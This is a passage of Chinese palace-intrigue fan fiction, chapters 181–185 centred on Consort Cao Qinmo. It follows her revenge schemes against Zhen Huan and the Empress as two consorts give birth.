“眉姐姐,我想争宠。这些日子的苦楚我都能忍受。可,可我连弘杳如今多重多大,是何模样都不知道。自弘杳出生,皇上便直接把他抱给了丽嫔。可怜我儿,都没来得及看一眼他的生母。” 甄嬛的眼泪大颗落在两人交叠的双手,沈眉庄被其炙热的眼泪烫的心口发堵,下意识的遗忘了这段时日,甄嬛提起弘杳的话不超过十句。 “好,争宠。不为别的,母子分离的痛苦,皇上身为男儿自然是不能体谅!” 甄嬛心里咯噔一下,下意识的看向窗外。 眉姐姐心直口快,对皇上也没什么情谊,自然是忽略了皇上,也是母子分离四个字的当事人之一。 两个人商量了几天对策,只擎等着春暖花开,在御花园的杏花树下做篇文章。 可现实不以两人的意志为转移,皇上怀念起了朱砂痣年世兰后,又想起了白月光纯元。 朱砂痣没有代餐但白月光有,凤鸾春恩车在甬道上叮叮当当的来又叮叮当当的回。 里面坐着计划胎死腹中的甄嬛,在斟酌要给皇上带一些特殊的,与众不同的印象才好。 如愿再次得宠后,甄嬛并没有十分的开心。 看着屋子里再次被装点的华丽亮堂,第一时间带着礼物拜访了储秀宫的曹琴默。 自端嫔去世无追封连葬礼都是潦草着过去后,甄嬛也明白过来。传言虽不可信,但也是有依据的。最起码,皇上切切实实的厌恶大家都能看的出来。 那么,贤妃的贤德自然也是有迹可循。 虽说她并不相信有人真的能够完美到对待自己‘夫君’的孩子一视同仁。但既然贤妃以这般形象示人,想来也不会轻易毁了自己的名声。 甄嬛想的确实没错,曹琴默确实不会毁了自己的名声。 看着容貌未损甚至添了两分清减的柔弱的甄嬛,曹琴默只喝着茶,对其的示好和明明说着投靠的话,表情仍旧是清高的表演视若无睹。 她从来不会跟敌人假客气,报复就是报复,没有演戏最后再捅上一刀这样的说法。那实在太过委屈自己了。 “甄官女子不必如此多礼,本宫得皇上皇后娘娘信赖代为掌管宫务,定不会叫任何人难过,若你和沈官女子有困难或受了委屈,报上来便可。” 甄嬛心中自然也有计较,毕竟自己位分太低,贤妃不接受也是在所难免。她并未太过失望,笑着夸了两句温宜和弘晏,便离开了。 “奴婢在宫中的时间也算长了,贤妃娘娘进宫后无论对上还是对下,都是挑不出错的。且贤妃娘娘名下并没有阿哥,即使姑姑想要示好,贤妃娘娘怕也是并不需要的。” 崔槿汐如今哪里能看出来掌事姑姑的风光呢,她本可以安安稳稳的在太妃宫里做个陪聊的闲人,没想到只是走错了一步,日子便比初入宫那段时日还要艰难的多。 “正是因为贤妃没有阿哥,才是我需要示好的对象。” 甄嬛并不想攀附任何一人下,但如今的地位太过尴尬,单看一同进宫的婉贵人就知道,能得一位高位嫔妃的照料的便利,是她和眉姐姐单打独斗不曾有过的。 (根据我查的资料,清朝宫里,宫人对官女子的称呼多为‘姑姑’和‘姐姐’,因为官女子并不算正经宫妃,只是宫女。但是又能侍寝,所以称呼一句‘姑姑’表示尊敬。) 第181 章 曹琴默39 甄嬛这张白月光的脸却不如皇后预料中的那般有奇效。虽说是得宠,但皇上也并未喜爱到不见其她人。 一月中能有八九日的侍寝,偶尔白天也会去养心殿伴驾,便是甄嬛的极限了。 虽然她也拉拔了沈眉庄,但皇上对于过于端庄的沈氏并无太大好感,只是后宫划拉一圈没什么新鲜人的时候,会召沈眉庄去解解闷。 这似是逗弄猫狗般的态度,叫沈眉庄的傲骨难捱,竟是直接撤了绿头牌,称病不肯侍寝了。 “嬛儿不必劝我,皇上如此待我,分毫的尊重都不肯给。就像那不起眼的玩物一般,我怎么能忍得。” 沈眉庄歪在床上眼泪往下淌,甄嬛坐在旁边不知该如何宽慰。 “眉姐姐。” 甄嬛低低喟叹,她能理解眉姐姐的哭诉。想着从前都是眉姐姐花钱照顾她,如今皇帝对她说不上盛宠,但宠爱是有的。 靠着那些赏赐和皇上的恩宠,总不会叫眉姐姐的日子难过就是了。 “你还要劝我吗?” 沈眉庄眼里包着泪,也不看甄嬛,只盯着自己的指甲发呆。 “怎会?眉姐姐不愿也就罢了,总归,还有嬛儿在。咱们姐妹自进宫便相互扶持,从前眉姐姐多嬛儿多有照顾,如今,也叫我出出力吧。” 甄嬛给沈眉庄掖了掖被子:“温大人一会儿就来了。姐姐告了病,总要叫太医来看看的。” 沈眉庄的眼睛亮了亮,表情也柔和了些。 甄嬛看的有些心塞,不过她还是体贴的给二人腾出了空间,自己扶着崔槿汐溜溜达达到了御花园。 “这杏花疏影里,若是带着我的箫就好了。” 进宫后的种种在眼前一闪而过,自觉并不顺遂的甄嬛站在杏花下,手里虚虚的握着一朵洁白的杏花不知道在想些什么。 忽然一阵悠远的箫声顺着清风送到了甄嬛的耳朵里,熟悉的音律叫她下意识的四下寻找去。 一曲毕,果郡王从另一边的杏花树后走了出来,他嘴角噙着笑意,肩膀上有随风而落的几片花瓣,逆着光的身影带了些朦胧的氤氲。 “阁下是?” 甄嬛是官女子,从未出席过任何一场正式的宴席,她心里有了些猜测,但是不知为何并未说出口。 “姑姑,这位是果郡王。” 崔槿汐拉了拉甄嬛的衣角,带着她行了礼。 “起来吧,小王给皇兄请安,闲来无事正好欣赏下这‘日日春光斗日光’。” 甄嬛的表情似是松快了些,她垂着眼看着地上的花瓣轻声接了一句:“日日春光斗日光,山城斜路杏花香。” “哈哈,正是,这位姑娘好文采。” 甄嬛站在原地,虽然两人中间的距离并不算近,但说起话来却越来越熟稔:“刚才王爷吹奏的,可是【杏花天影】?” “哦?姑娘对这曲子很熟悉吗?” 果郡王抬手看了看自己手里的长相守,脸上的笑容有恰到好处的惊喜。 “杏花疏影里,吹笛到天明。只是有所了解罢了。” 这曲子恰是甄嬛刚才在杏花树下第一念头闪过的,所以在听到箫声后,便觉得十分的亲切。 阿晋在果郡王身后拼命的拽着他的衣裳,企图拉回自家主子的神志。 如今的皇上已经不是他爹了,连三贝勒到了年纪都出宫开府去了。他一个未成婚的弟弟,没有了给太后请安的名头,自是不好在后宫行走的。 偏果郡王总以自己寄情山水无心政务的模样四处瞎逛。若是单纯溜达也就罢了,还遇到了这位打眼就像纯元皇后的女子。 阿晋不知道这是谁,但这长相还是在御花园里,用屁股想也是皇上的人。 再加上其身上的装扮,就算不是宫妃也是官女子等人物。这是能在御花园勾搭的吗?阿晋摸了摸自己的脖子,总觉得有种痛。 果郡王自然知道眼前人是谁,虽然太后去了,但他额娘在后宫里也还是有几个能用的人手的。 想着自己才华横溢,文武兼备却不得不做出浪荡子的模样。被埋藏在深处的野心,在看到这张脸后,被点燃了覆灭的死灰。 两人似是约了有缘再见,储秀宫的曹琴默听完小太监的转述也只是笑了笑。 她又不是皇后那个缺心眼子,自己家后花园进了外男都不知道。之所以叫两人顺利会师,也是为了叫甄嬛永无晋为一宫主位的可能。 朱砂痣年世兰虽然好用,但纯元这位白月光的威力也不可小觑。尤其是甄嬛是个有脑子的,得了宠自然会往上爬。 若得了一宫主位,还怎么让她不断的体验母子分离的痛苦呢? 果郡王进宫好啊,这不是给了甄嬛精神出轨的机会了吗? 回到延禧宫,此刻再看沈眉庄也是眉目含春之态,甄嬛也只做不知。 温实初刚刚离开,他藏在袖子里的手不经意的握了握,方才把脉时‘不小心’与沈眉庄双手相握的情形不断在脑海里重演。 他轻轻舒了口气,回到太医院在脉案上写下‘沈官女子偶感风寒诱发心疾需得静养。’ 罢了,总归是嬛儿的姐妹,又不得皇上的宠爱,不愿侍寝总不是什么大事。一位官女子而已,皇上总不会再派太医去的。 江城在温实初离开后疑惑的看向江慎,他总觉得这个看起来窝窝囊囊的温太医有些不对劲。 江慎摇了摇头,温实初跟他们兄弟俩关系很一般,尤其是在江城策反了温实初看好的卫临后,三人更是能不说话就不说话的状态。 “卫临,你在温实初身边待过一阵子,他一直都是这般吗?” 卫临想了想:“温太医一直负责的是延禧宫两位官女子,偶尔也被派出去国公府诊脉,倒是没什么不妥。” 江城犹觉得不对,看两个官女子,这在太医院是个医士都不想做的活儿。 不过他现在也不会自作聪明,而是在请平安脉时问了曹琴默。 “你且看着他就是了,还没到时候。” 曹琴默怎么会放过温实初呢?当初给温宜下的药,沈眉庄就是从温实初这里拿的。 温实初身为太医,在明知道这药是用在一个无辜的孩子身上的,仍旧给了那么重的份量。 温宜得病成什么样子?才能叫沈眉庄有理由去宫外祈福?! 甄嬛不是好东西,沈眉庄和温实初自然更不是。用别人的孩子成全自己个儿的私心,比之狼心狗肺的小人还要叫人厌恶。 都别急,温实初和沈眉庄这才哪到哪,总要给他们一个全族被牵连的机会才好。 第182 章 曹琴默40 朱砂判盛放时节,曹琴默带着温宜在翊坤宫煮了一壶清茶。留守在翊坤宫的有一位姓徐的糕点师傅,从前年世兰最爱的蟹粉酥便是出自他手。 “奴才每一旬都要做一碟子蟹粉酥,公主,娘娘快尝尝,是不是孝淑皇后最喜爱的味道了。” 曹琴默捻了一块放在嘴里,细腻的糕体和熟悉的蟹膏香气在嘴里绽放。 “娘娘从前每日都要吃的,也是本宫疏忽了。从今儿起,走本宫的份例,每日都做上一碟。” 小温宜捧着蟹粉酥吃的眼睛都眯了起来:“干娘的点心真好吃。” 因着曹琴默带温宜来的多,温宜对干娘年世兰的印象十分深刻。如今说起来也不显得生疏,虽然还不太理解为什么干娘是一幅画,但温宜喜欢这个漂亮的干娘。 曹琴默眉眼弯弯,低着头温柔的帮温宜拭去脸上蹭到的点心碎屑。 这翊坤宫的一草一木温宜都极为熟悉,她吃饱了,就从曹琴默腿上跳下来,拉着颂青的手穿梭在年世兰曾经最爱的芍药花中。 小小的胖手仔细的捧着其中一朵盛开的朱砂判,凑近闻了闻便和一只蜜蜂‘亲密’的对上了眼。 “你也喜欢这花吗?” 温宜倒是不怕这些,因为额娘说过,遇到虫子了不用大声嚷,只要温宜不动手,小虫子不会主动去咬温宜的。 蜜蜂凑近温宜的鼻子绕了一圈,然后又飞走了。 温宜失了聊天的对象,转过身拉着颂青继续寻找下一个目标。 曹琴默看了看温宜,低头继续跟手里的【历象考成】做斗争。 这是先帝下令编纂的天文学书籍,她如今得了空就回去景阳宫拿些书读一读。不求做个状元,能给温宜留下一个读书习惯也是好的。 许是温宜的笑声有些大,刚批完折子准备带着甄嬛溜达一圈的皇上脚尖一转,便向着翊坤宫的方向走来。 甄嬛抿了抿唇,表情不变的跟随着皇上。 “这是在做什么?” 翊坤宫一直是安静的,没有了年世兰后,似是失去了生机一般叫皇上看着就冷清。 也只有贤妃带着温宜来,才叫这冷清清的地方有了些人气儿。 “皇阿玛!” 翊坤宫的这片芍药被打理的很好,温宜在花丛后面蹦哒着露出来一个圆圆的小脑袋。 “福慧来皇阿玛这儿。” 温宜知道自己有两个名字,所以很自然的跑向了皇上。 “皇阿玛也来看干娘了吗?” 皇上抱着温宜起身,顺便拉着曹琴默往正殿里走去。 “是啊,福慧今日来的早了些。皇阿玛还说一会儿去喊福慧一同来。” 皇上是知道曹琴默经常带着福慧来翊坤宫坐坐的,毕竟世兰走的时候,最惦记的就是福慧这个小人儿。 “额娘说今日的太阳大,要早点来。” 甄嬛看着皇上头也不回的背影心里头说不上什么感受,她转头看向宫道尽头的御花园,眼神里有些不为人知的期待。 刷了一波朱砂痣的存在感,曹琴默带着温宜回宫时看到来福抬着头一副有话说的模样,便由着弘晏带着温宜下去一起玩去。 “可是事成了?” 她慢悠悠的把手泡到玫瑰汁子里,瞧着盆里的花瓣轻声的问道。 来福弓着腰声音还带着少年的稚气:“回娘娘的话,成了。” 曹琴默嘴角噙着笑意,看了眼旁边的芊葵。 芊葵会意,掏出一个鼓鼓囊囊的荷包递了过去。 “下去吧,把人都处理干净了。” 来福应了是,便退了下去。 曹琴默坐在梳妆台前摘了首饰,想着自己为皇上准备的大礼,盘算了一下还有何漏洞。 经过一年的调教,年家成功送到圆明园一位盛姓宫女,不着痕迹的处理了刚刚高热的叶澜依。 光是怀念的情分还不够,温宜明明是公主,却只因为换了个额娘就被皇上忘在了脑后,任由养母这般忽略皇上难道不知吗? 若是皇上肯时不时分给温宜些关照,沈眉庄敢这般欺负温宜吗? 曹琴默不光亲手打造了一位朱砂痣替身,还是一位‘保不住’孩子的替身。 她要让皇上今后日日活在自己亲手‘扼杀’了自己孩儿的痛苦之中才好。 不过这些事要一件一件做,沈眉庄和温实初,甄嬛和果郡王。也不知道皇上的身子经不经得住这些打击。也罢,还有十年左右的光景,扎一刀子歇一歇再给皇上第二刀子。 转眼就入了夏,皇上正准备去避暑时,瑾嫔和婉贵人的肚子就到了预产期。 二人实在不能经受住颠簸,曹琴默主动提出留下照顾两位孕妇,并请求皇上亲自带福慧和弘晏。 皇上自然是应了下来,福慧和弘晏都是知事的孩子了,又被曹琴默教导的十分乖巧有规矩。 “只是辛苦你了,这大热的天儿。” 皇上确实不放心把皇后和两位孕妇单独放在宫里,所以只能委屈曹琴默了。 “哪能就称得上一句辛苦,宫里头人少,冰还不是紧着臣妾用了。只要能为皇上分忧,便是臣妾尽了妾妃之德了。” “你总是这般懂事。” 皇上想了想,把库房里的香云纱都送到了储秀宫。 临行前皇上去看了瑾嫔和婉贵人,而后把高无庸,张起麟,张保和王朝卿四人分到了温宜和弘晏身边。 “这是朕宫里得用的太监,张起麟和王朝卿都是有功夫在身的。温宜和弘晏身边少不得得有这样的人。高无庸是朕潜邸时得用的,张保跟着朕也久了,知道你惦记两个孩子,放心吧。” 皇上虽然带走了皇后,也把温宜和弘晏安排在了勤政殿,但仍觉得不足,便把身边得用的四位太监都给孩子们带了上。 曹琴默握着温宜的小手:“多谢皇上,臣妾,臣妾定为皇上看好宫中。” 皇上拍了拍曹琴默的肩膀,带着两个孩子坐上了御驾。 “额娘等我们回来哦!” 温宜和弘晏本想着陪额娘一同在宫里的,但是额娘说宫里头热的很,小孩子又不能用太多的冰,两人这才跟着皇阿玛走了。 “跟园子里说一声,现在还太早了。” 曹琴默看了眼来福,进喜已经陪着两个孩子往圆明园去了。 颂青和秋白分别跟着温宜和弘晏,留下了冬霜在宫里头有个联络之人。 再让皇上的惦记发酵发酵吧,总要把朱砂痣念的完美无瑕了,替身出场时才更有份量。 曹琴默看了一眼圆明园的方向,在心里期待甄嬛和果郡王的故事。 至于不受皇上待见的沈眉庄,仍旧在宫里头待着。 而她心心念念的温实初,却是跟着她的好妹妹嬛儿去了圆明园。 这三场戏都排好了时间,曹琴默看了看手里温宜的小小玉佩,脸上露出势在必得的笑意。 第183 章 曹琴默41 皇上离开后的半月,曹琴默除了联络了一下当初年世兰走后被分配到各个部门的宫人,就是安抚一下两位待产的孕妇。 安陵容还好,心态很稳。但是瑾嫔的情绪起伏十分大,而且不知为何,皇后没有开口说叫瑾嫔和婉贵人的母亲进宫的事。 曹琴默提了一嘴,发现两人俱是无辜又迷茫的看着她。 “这宫妃有了身孕,是可以在八个月时请母亲进宫来看望的。皇后娘娘没有通知你们吗?” 这宫权虽然大部分在曹琴默手里,但像这些跟宗亲命妇或者宫嫔娘家联络的事情,还是由中宫做的。 两个人并排坐着,同时乖巧的摇了摇头。 曹琴默叹了口气,又假装替皇后开口描补:“许是皇后娘娘事情繁多遗漏了。本宫现在写信给皇上,瞧瞧还能不能叫你们母亲进宫看看。” 瑾嫔倒是高高兴兴的应了,只是安陵容的脸色有些不好。 “娘娘,嫔妾就不用了。” 曹琴默看了安陵容一眼,体贴的没有追问下去。 “好,别担心。你家里离得远本宫是知道的。还有本宫在宫里头,不会叫你们有事的。” 安陵容感激的笑了笑,对贤妃的体贴和细心十分的受用。 曹琴默措辞严谨丝毫挑拨之意都没有,甚至还隐隐为皇后‘描补’一二,完全依据事实叙述给了皇上。 皇上收到信时长长的叹了口气。 他什么时候能不给皇后处理这些烂摊子呢? 想了想因为避暑,周边的庄子都是住满大臣宗亲的。据他所知,送往桃花坞的对牌没有一百也有五十了,皇后一律以头风发作为由退了回去。 皇上能说什么?能说皇后的头风一天就能好了?夫妻一体,他只能捏着鼻子认下这个对外体弱多病对内欺上瞒下的皇后。 废后这个念头不断在脑海徘徊着,叫皇上的神色一会儿阴一会儿晴,苏培盛猫着腰秉着气,生怕受到无辜的牵连。 “皇阿玛,你不开心吗?” 突如其来稚嫩的童音打断了皇上的思绪,憋着的气被一抬头底下站着两个白嫩的小豆丁打断,瞬间就叫皇上的心情由阴转晴。 “没有,你们额娘写信问问福慧和弘晏听不听话呢。” 皇上顺手抱起了温宜,这都已经成为了习惯。 弘晏乖巧的往榻上爬,苏培盛顺手给他兜了下小屁屁,辅助小主子上榻。 “我们听话着呢,是不是弘晏?” 弘晏刚坐好,又听到姐姐的话猛猛点头。 “哈哈哈。是,咱们福慧和弘晏就是最听话的孩子。” 皇上哄着两人吃了点心,才叫人带着出去玩儿。四个皇上身边的大太监守着,皇后只能咬牙放弃叫两人入水的计划。 抬手给曹琴默写了回信,叫她自己看着办就是了。按照规矩,若是瑾嫔和婉贵人想叫家人进宫,自然是可以的。 宫里的瑾嫔得了信儿赶紧写信回家,不出三日,其额娘完颜氏便包袱款款的进了宫。 “你月份大了,少做些针线。” 瑾嫔的额娘进宫,安陵容便在储秀宫坐着。 “已经好了。闲着也是闲着,不若给温宜做些衣裳打发时间。” 安陵容觉得自己受了贤妃娘娘的照顾,但身无长物,便主动包揽了温宜和弘晏的小衣裳。 “多亏有了你,本宫也算是轻巧些。这打个络子还好,一说起刺绣做衣,本宫是真真儿的头疼。” 安陵容笑起来时眼底是漾着细碎温柔的光亮,她把一件玫红色的小旗装收了尾,手指灵活的缝制了几个祥云盘香扣。 “有嫔妾呢,姐姐不用亲自动手。陵容进宫得姐姐照顾,又囊中羞涩未曾回报。只是几件衣服,姐姐喜欢,陵容就安心了。” 如今的日子在安陵容看来是再好不过了,虽然不算很得宠,但也坐到了贵人的位分,家中的糊涂爹也不敢在随意把她娘忽视在一旁。 府中那些嚣张跋扈的小妾,也在自己能使银子叫人去府中看情况后安分了不少。最起码,娘亲现在能看了大夫,不用自己做活,安安稳稳的过日子了。 “只是本宫力所能及之事罢了,不过妹妹这手艺是真的没得说,姐姐啊,就占了你的便宜了。” 单是曹琴默自个儿,都有不少安陵容送的小物件。荷包,扇面,手帕,暖炉套不知有多少。都是用皇上赏赐的好料子做的,其心意自然是珍贵的。 两人又一起用了晚膳,安陵容才扶着桐柳慢悠悠的回到钟粹宫。 而完颜氏也从自家闺女嘴里听到了这两年的事情。 她细细的想了想,只觉得脑袋里像是被蒙了一层阴影如今有种拨云见日之感。 他们这一支的富察虽然是旁支,但也是主支没有适龄的女孩子才叫自家姑娘入了宫。 本说好了宫里的人脉有一半归了仪欣使唤的,为何进宫后这偌大的钟粹宫,没有一个下人是富察氏的人? 这也就罢了,仪欣在宫里三番两次的出事,若不是有个贤妃帮衬着,怕是这胎是保不住的。 富察氏怎么会放弃一个即将要瓜熟蒂落的皇嗣呢?即便是公主,族里也有的是公子可以匹配啊! 实在想不通为何自己和族里跟睁眼瞎一般只能按下不提。又想起了仪欣说的贤妃。 完颜氏不傻,自然知道贤妃也不会是完全没有算计的。 但她也很清楚,贤妃是汉军旗,就算她家仪欣出了事,这肚子里的孩子也不会给汉军旗的她来教养。 所以,贤妃所求便不会是狮子大开口。 况且,一个满军旗还是出身富察氏的阿哥自然是在这平平无奇的后宫有巨大的竞争力的。 若是按照常理,那应当是皇后那般做派,打了是上乘。 既然贤妃保下孩子,说明是友非敌。有所求不怕,富察氏还是给的起酬劳的。 “额娘!你有没有听我说话!” 瑾嫔拉着完颜氏的衣袖不停的摇。 “听了听了我的儿别闹了,你这都快要生了。” 说到这个完颜氏就来气,她们富察氏递了不下百次的对牌到中宫,想要看一看自家孩子。 结果皇后一个都没处理! 她的对牌被忽视了也就罢了,自家主支的四嫂可是红带子觉罗氏!递了对牌也是如滴水入海,半分动静也无。 完颜氏忍不住翻了个白眼,不光是她,外头但凡是正经家族教导出来的贵女,就没有看的上当今这位皇后的。 完颜氏陪了两天,去储秀宫给曹琴默请了安,话里话外的试探了两句,发现贤妃的诉求居然是温宜公主。 完颜氏再三确定后,只叹其慈母心肠。 既然是为了公主,完颜氏便扒拉起了富察氏的姻亲公子们。先头孝淑皇后临终前为这位福慧公主求了不扶蒙的圣旨,那这最坚固也是最有效为一位公主做的事情,那就是结亲了。 尤其是她们富察氏的男儿便是有能力差些的,但没有那刻薄寡恩忘恩负义狼心狗肺之人。 哦,没有影射他人的意思。完颜氏这么想着。 瑾嫔的生产并不算顺利,虽然完颜氏带了富察氏的人手来,但还是进宫晚了些。 皇后的布局可是在富察氏怀孕时就开始了。 背景‘干净’的接生嬷嬷稍稍使力,富察氏便陷入了危机中。 好在完颜氏福晋是个得力的,什么脏的臭的都是见过。这嬷嬷的手微动,就被她瞅了个正着。 一直等到月亮西沉,钟粹宫的正殿才响起婴儿的啼哭声。 “恭喜娘娘,瑾嫔娘娘平安生下九阿哥。” 曹琴默脸上虽然带了些疲惫,但仍旧喜气洋洋的给了赏。 “有福晋照看着你,你好好休息。本宫已经着人给皇上报了喜,你只安心养着便是。” 从钟粹宫出来,看着天边升起的朝霞默默的念叨了一句:“皇后,可喜欢本宫给你安排的后宫?” 第184 章 曹琴默42 出自瑾嫔富察氏的九阿哥果然如曹琴默预想的那般,叫皇后怒写了五十张巨大的‘忍’字。 剪秋跪在地上不敢出声,努力的缩小自己的存在感。 她怎么也想不明白,明明钟粹宫里该安排的都安排上了。 麝香红花甚至还有夹竹桃馅儿的点心,路上的冰和油,接生档口的嬷嬷和宫女。每个阶段都是惯用的招数,一一使了出来。可瑾嫔那个看起来就没脑子的,居然完全都躲了过去。 难不成,瑾嫔凭借一副傻模傻样蒙骗了她们所有人不成? “娘娘,若说一次两次失手奴婢自是认了手脚不隐蔽,但这么多次都被瑾嫔躲了过去,怕是富察氏背后没少使力啊!” 明明这些招数在潜邸时好用的很,怎么到了宫里反而处处不顺? 钟粹宫的宫人大部分都不是她们安排的,那些都是先前孝淑皇后做的布置。 剪秋不客气的想着,就凭孝淑皇后的脑子,说不得把富察氏自己人挑了进去也未可知。 皇后停下笔坐在软榻上,以手支着头表情冷淡似是听进去了剪秋之言。 “是本宫小瞧了瑾嫔,这些大家族出身的贵女果然没有一个简单的。什么头脑简单胆小如鼠都是装出来的模样。虽说是旁支,但未必没有主支的人手在宫里暗中支持。” 这个解释说服了皇后自己和剪秋,至于一直以老好人形象示人的曹琴默,则默契的被主仆俩同时忽略了过去。 在她们看来,年世兰这般骄傲自大的人,是不会把自己的人手留给自己的跟班的。曹琴默没钱没宠,自然做不到在她一国之母眼皮子底下保住这几位阿哥。 更何况,也没人会无缘无故的保别人的孩子。这在皇后心里就是最愚蠢的做法。两人成功避开正确答案,交换了一下眼神,剪秋会意的退了下去。 瑾嫔这胎失了手便先停下来吧,完颜氏在宫里头住着,便是手段再多,也不过是徒增暴露的风险。 皇后现在要紧的是安陵容,三阿哥已然是不中用了。被封了贝勒又娶了福晋,自是不值得她再多费心神。 趁着皇上还算强壮,皇后觉得能控制了安陵容这胎也不是不行。 当然了,她是不会抱养任何一个孩子在自己名下占了弘晖的位置的。 只是算来算去,这宫里能为她所用的,也只有这位婉贵人了。 皇后捏着盆里荷花的花瓣出神,看着剪秋再一次出现的身影吩咐道:“把甄官女子叫来。” 甄嬛这张脸真是叫皇后又爱又恨,她掩了掩眼底的神色,换上一副温柔从容的面具看着娉婷走来的人。 “不必多礼,本宫一直病着,除了请安许久未曾关注你们新人的情况了。如今来园子里的人少了些,你若是有问题也尽可来跟本宫说。” 甄嬛本接到皇后的召唤心里咯噔一下,听到皇后这番话,心倒是落回了原地。 她微微低着头,露出的眉眼和故人几乎是一模一样。迎着南窗透进来的日光,叫皇后有一瞬间的恍惚。 “婢妾一切都好,多谢皇后娘娘关怀。” 皇后被这声音拉回了思绪,她不着痕迹的说了几个纯元的习惯和皇上的偏爱,瞧着甄嬛恭敬却认真的眼神,眼底闪过一丝不屑。 不过刹那间便消失,没有留下任何痕迹。 “那就好。皇上夏日里最是怕热,有你伺候在侧本宫也能安心些。” 甄嬛总觉得这话有些怪怪的,但思来想去也只觉得是自己多心了。 这次的住处是皇后安排的,甄嬛被安置在了碧桐书院。 扶着崔槿汐的手往回走时,悠扬的箫声再次入耳。 “姑姑小心些,这里临近水边虽是凉爽,但路面却颇有些湿滑。” 甄嬛心里惦记着旁的事,看了一眼崔槿汐又低头看了看自己这身上轻薄的香云纱,嘴角不自觉的上扬了一下平静的说道:“你先回去瞧瞧荷叶莲子羹准备好了吗?若是温热的,便给我冰一下。天儿太闷了,我在这里吹吹风。” 崔槿汐低垂着眼睛应了是,转身的瞬间看到了假山处青绿色的衣角,也似是无所知般快速离开。 园子虽然大看守的人少些,但并不是没有。 皇后自己没有安排但曹琴默从去年开始就整顿了园子里的值守。 即便甄嬛被皇后换了住处,曹琴默的人也暗中的有安排,自然在这碧桐书院临后湖这片有人看守。 果郡王只带了阿晋一人,也是无法做到耳听六路眼观八方。 “秀色掩古今,荷花羞玉颜。小王今日,也算是了解了李白这诗中所意。” 预料之中的声音从身后传来,甄嬛的嘴角有一瞬间的上扬随即又恢复了面无表情之态。 “婢妾见过果郡王。” 园子里的人少些,甄嬛便在其中格外的受宠几分。如今身上的香云纱也是常在才可用的料子,皇上一并都赏了来。 但即使这般,甄嬛也只觉得皇上对其并不算真心,偶尔对着天边月,还会叹息其‘得一人心’的愿望在不可实现。 如今三番两次碰到果郡王,年轻,朝气,眼神坚定之态叫甄嬛本就有些摇摆的心更是七上八下的不稳当。 “看取莲花净,应知不染心。小王观姑娘似是有心事。” 果郡王‘潇洒’一跳,从不高的假山处下来,站在离甄嬛一臂距离之处。 甄嬛被惊了一下,但是并没有乱动。 虽表明过身份,但甄嬛不愿听别人叫她‘姑姑’,这让她只觉得如今的身份廉价又上不得台面。 果郡王如此称呼,倒是叫甄嬛心里颇有好感。 “莲花洁净,世人皆追求名利权贵,少有不被世俗污染的向往。” 时至今日,甄嬛仍旧坚定的认为自己追求的是一份可以相知相守相伴终身的真情,对皇上的零碎的情谊和宫中人人只求自保的现状并不太满意。 她遥望远处却眼神朦胧的样子叫果郡王似是得了知己一般。 果郡王想:这不就是自己竭尽所能去追求的吗?一位相知相许的妻子,一份不被皇兄猜忌的生活。 “是啊,孟公所提,便是极为少见的追求。” 两人都是用向往的爱情来掩盖内心于旁人无异的对权贵和富贵乡的习以为常。若是此番两人只是贫苦的农户,怕是不求真情,只求能吃饱饭了。 曹琴默看着来信笑的肚子都有些痛,这难不成是什么天定的缘分吗?甄嬛和果郡王把圆明园当成了甘露寺? 虽然不理解也不尊重,但曹琴默乐得看戏。 不过其中的度还是得把握好的,不然两人过于惺惺相惜了,怕是甄嬛那张脸都救不了她。 “娘娘,钟粹宫来人说,婉贵人要生了。” 第185 章 曹琴默43 安陵容可以说是没有母家,钟粹宫上下第一反应就是通知储秀宫的贤妃娘娘。 曹琴默赶到时,安陵容被桐柳搀扶着正在慢慢溜达。 西偏殿的宫人有些杂乱的忙碌着,看了一眼不让近身的安陵容,曹琴默带着人直接接手了安陵容的缀锦堂,很快就有条不紊的动了起来。 “这内务府安排的接生嬷嬷本宫也不熟悉,只是这李嬷嬷是当初本宫生温宜时,孝淑皇后安排的人。你若是放心,其余人便使了你身边的人看好。” 不同于富察家的人虽然进宫晚,但其能用的人手还是有些。 安陵容是实打实的没人没钱没权利。 “我,我自然是信姐姐的。” 安陵容的阵痛来的很快,此时已经躺在床上的她面色惨白呼吸急促,整个人都似从水里捞上来的一般。额间的发丝被湿透,脖子上的青筋暴露在外,强撑着说了一句话,便只余惊呼。 她御下手段还是进宫后观察着曹琴默的形式摸索了自己能用的方法。 近身伺候的桐柳和松柳都是被她完全掌控在自己手里的宫人,这时两人目光灼灼的盯着其余的两位接生嬷嬷眼睛都不敢眨一下。 李嬷嬷刚想上前,其中一个嬷嬷便扯住了李嬷嬷的袖子,还未等她手里的工具出力,松柳便把她拽到了地上。 “你干什么呢?” 松柳的怒斥声并未影响李嬷嬷的动作,她给贤妃娘娘接生时就见惯了这样的场面,宫里的娘娘们尊贵,但是生产时要防范的牛鬼蛇神可不是一般人能经得住的。 “一并捆起来。” 曹琴默懒得问也不想等第二个人行动,左右皇后就是那点伎俩。 要命倒不至于,她猜测其中缘由有二。其一是皇后还不想有个孩子占了弘晖的位置。 其二,便是安陵容没了,这个孩子皇后不要便会抱给高位嫔妃。 不论是谁,皇后都是不喜的。还不如就在安陵容这个贵人名下养着。 不过,这次皇后是猜错的皇上的心思。 她以为安陵容这般的嗓音,皇上驳了她阻止晋位的说法是为了在安陵容生产后许一宫主位。 可其实,在安陵容平安生下十阿哥的消息传来后,与之而来的,是皇上下旨由贤妃抚养十阿哥的消息。 桃花坞。 “真是会咬人的狗不叫,贤妃不声不响,抚养了两位阿哥了。她曹琴默不过是一介六品小官之女,她也配!” 谋算落空的滋味儿,皇后这两年多体会的明明白白。反复期待落空的痛苦,换做心智一般之人,怕是早就精神失常了。 “娘娘,皇上也就是看在孝淑皇后的面上对其看顾两分罢了。这贤妃本就不受宠,也就是占了个妃位,皇上这次也没有给十阿哥改玉牒的意思。想必,今后还有的闹呢。” 这话说的皇后倒是听进去并且安静了下来。 “说的也是,和六阿哥不同,十阿哥的生母可是活的好好儿的。自己的儿子,差一步之遥就能亲自扶养,婉贵人能忍得下这口气才怪。” 皇后似是看到了安陵容为了儿子,如同曾经的太后那般对曹琴默暗中出手的画面,紧绷的嘴角渐渐放松,竟是露出了一抹看戏般的弧度。 可钟粹宫里却并不如皇后所想那般剑拔弩张。 “姐姐,十阿哥就是记在姐姐名下,陵容也是开心的。” 安陵容得知皇上的旨意后,整个人也松了口气。好在皇上还不算笨,能听懂她的言外之意。 曹琴默笑着摸了摸安陵容的头发:“说什么傻话,十阿哥是你的儿子,本宫有温宜就够了。” 而圆明园的皇后再也不想看见有孩子在从任何一个肚子里冒出来。 